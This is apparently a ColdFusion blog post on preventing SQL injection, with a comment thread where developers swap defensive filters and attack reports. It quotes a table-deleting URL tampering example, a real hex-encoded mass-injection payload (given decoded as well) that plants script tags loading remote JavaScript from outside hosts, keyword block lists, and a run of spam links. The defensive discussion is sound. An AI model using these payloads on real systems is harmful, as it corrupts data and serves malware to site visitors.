I was just on a web site (no, not a ColdFusion powered site, and no I will not name names) browsing for specific content. The URLs used typical name=value query string conventions, and so I changed the value to jump to the page I wanted. And I made a typo and added a character to the numeric value. The result? An invalid SQL error message.
That's bad. Very very bad. It means that I was able to create a SQL statement that was submitted to the database for processing, a SQL statement that was passed to the database as is, unchecked.
You'd think that by now we'd have learned to lock down our code so as to prevent SQL injection attacks, but apparently this is not the case. You do not know what a SQL injection attack is? Well, read on.
Consider the following simple dynamic ColdFusion query:
SELECT *
FROM Customers
WHERE CustID=#URL.custid#
Here a WHERE clause is being populated dynamically using a URL parameter. This type of code is common and popular, and is often used in data drill-down interfaces. If the URL was:
http://domain/path/file.cfm?custid=100
the resulting SQL statement would be:
SELECT *
FROM Customers
WHERE CustID=100
But what if someone tampered with that URL so that it read:
http://domain/path/file.cfm?custid=100;DELETE+Customers
Now the resulting SQL would be:
SELECT *
FROM Customers
WHERE CustID=100;
DELETE Customers
And depending on the DBMS being used, you could end up executing two statements – first the SELECT, and then DELETE Customers (which would promptly delete all data from the Customers table).
Scared? You should be. SQL statements are not just used for queries. They are also used by most DBMSs to create and drop tables, create user logins, change passwords, set security levels, manage scheduled events, even creating and dropping entire databases. And whatever features are supported by your DBMS may be accessible this way.
Before I go further I must point out that this is not a ColdFusion vulnerability at all. In fact, it is not even a bug or a hole. This is truly a feature – many DBMS do indeed allow queries to contain more than a single operation, this is legal and by design.
Of course, you should always be checking parameters anyway before passing them to your DBMS. Passing client supplied data (URL parameters, FORM fields, and even cookies) through unchecked is programmatic suicide. Attacks aside, it is flat out unsafe to ever assume that data submitted by a client can be used as is.
As such, you should already be using code like this:
<cfparam name="URL.CustID" type="integer">
This single line of code will lock SQL injection attacks out. How? Think about it, SQL injection (within ColdFusion apps) is really only an issue with non textual fields. If a text value is tampered with you'll end up with tampered text, but that text will all be part of the core string (within quotes) passed as a value, and will therefore not be executed as separate statements. Numbers, on the other hand, are not enclosed within quotes, and so extraneous text can be tampered with to create an additional SQL statement. And <cfparam> can protect you.
Of course, you may want more control, in which case you could use code like this:
<cfif IsDefined("URL.CustID")
and not IsNumeric(URL.CustID)>
... throw an error or something ...
</cfif>
And as an additional line of defense you can use <cfqueryparam>, as seen here:
<cfquery ...>
SELECT *
FROM Customers
WHERE CustID=<cfqueryparam value="#URL.CustID#" cfsqltype="CF_SQL_INTEGER">
</cfquery>
If the previous tampered URL was passed to the this query, the value would be rejected and an error would be thrown. The CFSQLTYPE (aside from binding variables) performs data type validation checks, and values that do not match the type are rejected. That's it, only integers allowed, and malicious tampered URL parameters are not integers.
The bottom line is that SQL injection attacks have been around for as long as dynamic SQL itself. ColdFusion has made it incredibly easy to protect yourself against such attacks. Be it <cfparam> or <cfqueryparam> or your own conditional processing, it's simple to protect yourself, and your responsibility to do so.
If you have not been paying attention to this risk, stop whatever you are doing, fire up your IDE, and do a search for every single <cfquery> in your code. Then quickly scan to find any that contain #'s in them (that are not enclosed in quotes or passed to <cfqueryparam>), and make a list of the variables used. If any of them are URL parameters or FORM fields, create a <cfparam> for each (at the top of the page, or before the <cfquery>). It's that simple. Really. There is no legitimate reason not to protect yourself, so just do it. Now! And I mean right now, before you leave for the day or take off for the holidays, and despite whatever project you are working on or deadline you are up against. No excuses (and if your boss complains about you switching gears to take care of this one, send him my way!).
Enough said! (I hope).
(UPDATED 07/24/2008)
Since this post was made, SQL injection attacks have evolved, and it is now know that even strings are vulnerable. See the more current related posts linked below.
Happy holidays!
>> create a <cfparam> for each
Or if there are ANY variables which might have been passed in from one of those scopes.
(eg: <cfparam name="Session.Consumer" default="Url.Consumer"/>)
Personally I'm in the habit of cfqueryparam-ing EVERYTHING with hashes. It's ugly (hopefully CF8 will implement a function version of QueryParam), but it's the simplest way to be sure.
Fortunately I haven't yet encountered any queries that need to be cached, but it's fairly simple to do manually if/when I do.
Just because I can't see the error does not mean that I can't perform SQL Injection. Google blind SQL injection for lots of info.
The lesson here is to always use parameterized queries (cfqueryparam)! This is the case in all languages including Java, CF, C#, etc. since it is the single best mechanism to preent SQL injection. The secondary and tertiary lines of defense are proper data validation and not sending data to the client that the client shouldn't need to see/modify. Once the client has the data in his or her browser, it's the user's to modify as he wishes!
-dhs
egrep -ir "(WHERE|AND|OR|[^f]SET) [a-zA-Z0-9\.]+[ ]*=[ ]*[\"']?#" *
It will not match all possible injections, but it will match a lot of them. Also, just want to toss this in, apparently when using cfqueryparam for all variables, depending on your DBMS you can increase performance by a good bit - it already binds variables to their types and can ignore any type checking it has to do on the DB side.
Cheers,
-Umbrae
If the value of URL.b = 1,2,3,4,5,
<!--- *** CHECK URL FOR NUMERIC & COMMA USING REGEX --->
<cfset check_url = IsValid("regex",Trim(URL.b),"[0-9,]+")>
This will only allow numbers and a comma for the URL.b variable. You can modify the [0-9,]+ to delete/include other characters.
even if the form was ran from someone's harddrive, there still shouldn't be any danger, right?
i know i sound naive, but i am asking to be sure. thanks much!
Is there not a was of doing the same for url parameters that are not integers. The reason I ask is I am using a pair of parameters in URLs for user information to ensure that a user cannot simply type in another number and get someone elses detals. one of these parameters is not an integer.
Is there not a UDF or CFC that can check URL and form variables against SQL injection attacks.
--- Ben
We went through an exercise of removing cfqueryparams to skirt around the invalid parameter binding(s) error, but now instead we get random sql statement truncation. The simplest (valid) queries are being truncated - or so they appear in the error statements. For example, the statement might end up going to SQL Server like this:
"LECT blah, blah from tblBlah" or "select blah, blah from tblBlah where"
Upon inspecting the code, these queries are perfectly fine... I've heard rumours that CF8 doesn't suffer from these problems, but I haven't been able to get my hands on a beta to play with. As a result, I've had to install BlueDragon 7 (the new one) to see if that works ok. If so, I might have to migrate to BD - a scary prospect.
Is there a risk there?
Matt
Regarding my last post (4/10/07) - a hotfix was released for MX 7.02 which has fixed the cfqueryparam issue and some other java.lang.illegalStateException issues.
http://www.taiyau.com/2007/about_us_e.htm
http://www.taiyau.com/2007/index_e.htm
--- Ben
In case you need another reason to implement this.
the whole point of cfqueryparam is creating parameterized queries. where the parameter being passed to the query will not run any sql.
RLG
pageus@gmail.com
I have gone through and made sure all WHERE clause uses CFQueryParam e.g..
Where emailID=<cfqueryparam value="#URL.emailID#" cfsqltype="cf_sql_clob" maxlength="250">
I have rolled back the DB to last healthy backup, but the injection is still taking place.
The following line is being added to my entries in the DB...
"></title><script src="http://1.verynx.cn/w.js"></script>&l...;!--
I have also added the following to application.cfm
<cfif isdefined("cgi.query_string")>
<cfif reFindNocase("declare",cgi.query_string)><cfabort /></cfif>
</cfif>
Can anyone offer any further advice or suggestions?
we had to essentially disable the site while we cleaned it up and then modify the code in the application.cfm to ensure the page would be regrabbed instead of running the cached copy... i don't know how many "action" pages you have to work on but i know i have barely scratched the surface of fixing the code so cached copies wont affect me.
btw it is simple as modifying the incomming url/form name on ONE of the items.. the cached code should fail out. at least this is how we fixed ours for a few of the sites so far..
also if your interested in the db scrubber let me know it's a useful tool and i just wanna help out with this mess since we were hit on a number of our db's including one offsite that is taking forever to clean..
the scrubbing with the site temp offline also prevents any "hidden code" that would be in what you thought was a clean backup
-Rob
I had the EXACT same thing happen to me starting at 10:00am EST yesterday and then going throughout the day... what as mess. Here is what I learned (and how I built my defense around it... (This is the EXACT same script that attacked you... same URL and everything! So here goes...
The first thing I did was lock down CF. You can do this by going into the CF Admin and check the box that disables CGI, cross-site scripting attacks. The disadvantage to this is that it replaces all <SCRIPT> <EMBED> etc tags with <INVALID> -- this is a disadvantage to me because I have users uploading Flash and legitimate JS all the time. Nevertheless, I locked the system down for a couple of days.
Next, if you check your IIS logs (and CF application logs) you will notice a lot "CAST()" variables hitting your server. That is because the user is injecting the following script:
DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C4043
2076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F5220
73656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D
6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E787479
70653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31
363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4375
72736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065
7865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E
3C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C
2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F746974
6C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F73637269
70743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040
542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F4375
72736F72%20AS%20CHAR(4000));EXEC(@S);
I went to http://www.string-functions.com/hex-string.aspx to convert this and here is what it is:
?DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://1.verynx.cn/w.js"></script>&l...;!--'' where '+@C+' not like ''%"></title><script src="http://1.verynx.cn/w.js"></script>&l...;!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Absolutely INSANE!!!!!!
Therefore, I wrote a script and put it in my application.cfm to defend against this in the cgi.query_string. I also did a loop (if it exists) through "form.fieldnames" which is the common array given by ColdFusion for all of the form fields submitted.
Once that check is run, if it matches any keywords like "CAST" or "DECLARE", etc., it blocks the IP Address and throws a CF_ABORT.
I hope this helps. I spent 8 hours of my day yesterday PULLING TEETH OUT because of this. If I can help a few people out, it's worth it.
Sincerely,
Ray Majoran
http://www.coldfusionmuse.com/index.cfm/2008/7/18/...
Ray
Many thanks for taking the time to post your expert findings. Is there any way you could share the script you used in application.cfm? It's all a bit above my head at the moment.
Cheers
In the application.cfm I have added:
<!--- abort if SQL inject attack is sensed, log attempt --->
<cfif isdefined("cgi.query_string")>
<cfif reFindNocase("declare",cgi.query_string) OR reFindNocase(";",cgi.query_string) OR reFindNocase("@",cgi.query_string)>
<cfinvoke component="cfc.securityReport" method="sqlInjection"/>
<cfabort />
</cfif>
</cfif>
cfc.securityReport then records the IP, script and query strings of the offending remote computer in a DB table and then CFABORT, leaving only a blank page.
I then invoke a second component that checks the database table for the user's IP and if found 5 or more times in less than hour, the IP is blocked by using a CFABORT.
The theory here is that if 5 attempts are made and either through automated or human methods the site is visited without an offending URL it will be blocked by IP. I am releasing the block after only one hour in case a dynamic IP is used and we don't want to block a good user that just happens to use the same ISP.
This looks good, however, I have a couple of comments based on the attacks that we received.
1. Many of the hits were from a number of different IP addresses. The people that run these attacks tend to run them through proxy servers or computers in remote locations. In our instance, there were over 100 different IP addresses that hit us at once. By the time an IP hit us 5 times, there may already be 500 compromises in the database. My personal recommendation would be to block them out immediately.
2. We found that cgi.query_string didn't always work. If the person is using a remote form, the data may not be recognized in cgi.query_string. Therefore, we added this as well:
<cfif isdefined("form.fieldnames")>
<cfloop list="#form.fieldnames#" index="z">
<cfif lcase(evaluate(z)) CONTAINS 'declare%20@' OR lcase(evaluate(z)) CONTAINS '=cast(' OR lcase(evaluate(z)) CONTAINS 'exec(' OR lcase(evaluate(z)) contains "document.write(unescape" OR lcase(evaluate(z)) contains "/w.js" OR lcase(evaluate(z)) contains "</title><script" OR lcase(evaluate(z)) contains ".cn/">
<cfset ban_now = 1>
<cfset ban_body_content = evaluate(z)>
</cfif>
</cfloop>
</cfif>
I hope that helps!
Sincerely,
Ray
Good point on blocking immediately. My thought was that I could see a client making a typo in the URL and trying it multiple times before realizing their mistake. I have reduced that 1.
Regarding the remote form protection, this appears to be very specific to the latest rounds of attacks (i.e. the '/w.js' and '<title>' catches). I am trying to come up with a more generic solution to include in all the sites I develop. To do this I would think the following would work:
<cfif isdefined("form.fieldnames")>
<cfloop list="#form.fieldnames#" index="z">
<cfif lcase(evaluate(z)) CONTAINS 'declare%20@' OR lcase(evaluate(z)) CONTAINS '=cast(' OR lcase(evaluate(z)) CONTAINS 'exec(' OR lcase(evaluate(z)) contains "document.write(unescape">
<cfset ban_now = 1>
<cfset ban_body_content = evaluate(z)>
</cfif>
</cfloop>
</cfif>
or have I left a giant hole in my security?
In the case of MS SQL Server, it looks like string values are safe (according to another blog I read), but in the case of MYSQL, string values can actually be compromised as well -- it takes more effort, but it can be done. Therefore, it would be a best practice to CFQUERYPARAM everything if you can help it.
Ray
Ray
http://www.forta.com/blog/index.cfm/2008/7/23/Hack...
Read the articles in the links as well.
Ray
Does anyone know what code is actually injected into the page and what would happen to an end user when the script runs?
I've noticed the 1.verynx.cn dns changes from 127.0.0.1 to other values for collecting data.
Any information would be nice :)
Thanks,
Frank
I make it find at least 2 occurrances to fail, to protect for possible false blockage.
Dropped in the top of application.cfm:
<cfset SQL_CMDs = ArrayNew(1)>
<cfset LoopHitCount=0>
<cfset mystring="declare,set,exec,select,grant,delete,insert,drop,alter,replace,truncate,update,create,rename,describe,from,into,table,view,union,cast,char">
<cfset SQL_CMDs=mystring.Split(",")>
<cfloop index="CMD_Loop" from="1" to="#ArrayLen(SQL_CMDs)#">
<cfset paramname= SQL_CMDs[#CMD_Loop#]>
<cfset CheckVal = cgi.QUERY_STRING>
<CFSET st = FindNoCase(paramname,CheckVal,1)>
<cfif st gt 0 >
<cfoutput>Suspect Value: #paramname#<br /> </cfoutput>
<cfset LoopHitCount = LoopHitCount + 1>
</cfif>
</cfloop>
<cfoutput>
<cfif LoopHitCount gt 2>
This request is being blocked due to suspected Unauthorized Access.<br />#CheckVal#
<cfabort>
</cfif>
</cfoutput>
My Application.cfm GET/POST filter:
The post portion is untested. the GET is validated against actual vulgar requests from the logfile.
Catches 2+ occurrances of any black list item defined in mystring. for this - it is a list of most possible sql command words
<!--- START filter for SQL Injection Attack --->
<cfset SQL_CMDs = ArrayNew(1)>
<cfset LoopHitCount=0>
<cfset mystring="declare,set,exec,select,grant,delete,insert,drop,alter,replace,truncate,update,create,rename,describe,from,into,table,view,union,cast,char">
<cfset SQL_CMDs=mystring.Split(",")>
<cfset CheckVal = cgi.QUERY_STRING>
<cfloop index="CMD_Loop" from="1" to="#ArrayLen(SQL_CMDs)#">
<cfset paramname= SQL_CMDs[#CMD_Loop#]>
<!--- START filter for SQL Injection Attack via GET Variables--->
<CFSET st = FindNoCase(paramname,CheckVal,1)>
<cfif st gt 0 >
<cfoutput>Suspect GET Value: #paramname#<br /> </cfoutput>
<cfset LoopHitCount = LoopHitCount + 1>
</cfif>
<!--- END filter for SQL Injection Attack via GET Variables--->
<!--- START filter for SQL Injection Attack via POST Variables--->
<cfif isdefined("form.fieldnames")>
<cfloop list="#form.fieldnames#" index="z">
<CFSET st = FindNoCase(paramname,evaluate(z),1)>
<cfif st gt 0 >
<cfoutput>Suspect POST Value: #paramname#<br /> </cfoutput>
<cfset LoopHitCount = LoopHitCount + 1>
</cfif>
</cfloop>
</cfif>
<!--- END filter for SQL Injection Attack via POST Variables--->
</cfloop>
<cfoutput>
<cfif LoopHitCount gt 2>
This request is being blocked due to suspected Unauthorized Access.<br />#CheckVal#
<cfabort>
</cfif>
</cfoutput>
<!--- END filter for SQL Injection Attack --->
And it ignores words you're not checking. I, for one, could probably sneak in a call to a system-based stored procedure.
Personally, as a stopgap measure I did the following check on form and URL values:
v contains "''" or v contains "\'" or findnocase('CAST(',v) or findnocase('EXEC(',v)
Any injection HAS to escape values somehow, and getting rid of '' and \' gets rid of most attacks, while checking for CAST( and EXEC( kills this particular one. At the same time zapping, I'm not generating false positives, as by-and-large those particular character strings should never be in user-generated input.
(Unless you run a SQL Server blog.)
As for escape characters, where in the attack request do you see escape characters?
For a more simple site, this is a perfectly useable, a very remote chance of rejecting the occaisional form submission, and a heck of a lot better than nothing. especially when there are literally thousands of cfm scripts that would need to be checked.
And finally, if its really a concern about blocking form submitted data, and stopping only this iteration of this kind of attack is acceptable, just remove the POST check, in all of the thousands of log entries I've seen of this attack, not one has used POST, and the stopping non offending requests is even more remote of a possibility.
In Oracle, for example, this can have a big performance gain, as Oracle caches the execution path (not the results). Similar benefits would be possible in other databases that use bind variables. More info here http://www.adobe.com/devnet/server_archive/article... or one of Ben's articles here: http://www.adobe.com/devnet/coldfusion/articles/be...
Thanks again,
Lastly in applicationcfm or cfc using onRequest you could check cgi.QUERY_STRING for any illegal SQL commands and abort or redirect to cgi.http_referer
that POST check iterates through all form fields, if there are any. But, others have been concerned that this is too restrictive of a filter for long form submissions, thereby blocking too many possible valid POSTS. there are a couple ways to handle it - disable the post filter, as this attack does not seem to try to exploit via POST. or raise the fail threshold to gt 4 (don't go higher than 4, this is the minimum to stop the current wave of attacks with this code) you could also take a few words out of the list (where, order, select) as those are common words and not really posing any threat as far as being damaging sql.
Macromedia][SQLServer JDBC Driver][SQLServer]????????????????????????????]????? GARBAGE ??????©?????@???????@?????B???³??????G?????????¬?????G???????????
I put garbage in the middle to break it hear, but what the heck can you do about this with just checking field name.s
http://winsmart.atwiki.com/
http://shuntong.vipblog.hk/
http://geocities.atwiki.com/
http://weddingphoto.vipblog.hk/
http://dslrsreview.blogspot.com/
http://blog.sina.com.tw/winbill/
http://www.simpy.com/user/winbill
http://www.diigo.com/user/lullabot
http://profile.typekey.com/winbill/
http://www.simpy.com/user/mclinton
http://profile.typekey.com/nesthone/
http://www.geocities.com/cnlogistic/
http://profile.typekey.com/tshuntong/
http://hk.geocities.com/coffeematching/
http://hk.myblog.yahoo.com/ministoragehk/
http://www.shareddynamics.com/index.cfm/2008/8/11/...
<!---Semicolon Blocker--->
<CFSET rejectThis = ";">
<!----Need to allow the following custom 404 redirection for our deprecated static pages--->
<CFSET keepThis = "404;http://">;
<cfset CheckVal = cgi.QUERY_STRING>
<CFSET st = FindNoCase(rejectThis,CheckVal,1)>
<CFSET st2 = FindNoCase(KeepThis,CheckVal,1)>
<CFIF (st gt 0) AND (st2 NEQ 1)>
<CFABORT>
</CFIF>
<!---End Semicolon Blocker--->
SELECT top 20 column1,column2,column3
FROM table
<cfif arguments.start NEQ 1>
AND column1 NOT IN (
SELECT TOP #arguments.start# column1
FROM table
ORDER BY column3 DESC)
</cfif>
ORDER BY column3 DESC
Thanks!
The latest script I've been hit with is this:
</title><script src='http://google-server03.info/urchin.js'></script>
They discover what fields populate the title tag (if any) and replace the value with that string. Then, just for good measure, they blank out almost all DB field values with the word 'name' in it, including username, productname, etc. I am now changing many DB fieldnames to not include the word 'name' just for additional defense.
What gets me is why these people do it? Just for kicks? I know a couple of places I'd like to get some good swift kicks in.